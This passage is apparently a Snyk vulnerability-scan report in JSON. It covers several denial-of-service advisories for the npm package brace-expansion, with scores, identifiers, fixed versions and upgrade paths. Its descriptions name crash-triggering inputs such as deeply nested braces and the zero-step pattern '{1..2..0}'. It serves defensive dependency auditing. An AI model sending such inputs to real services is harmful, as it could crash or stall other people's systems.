"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
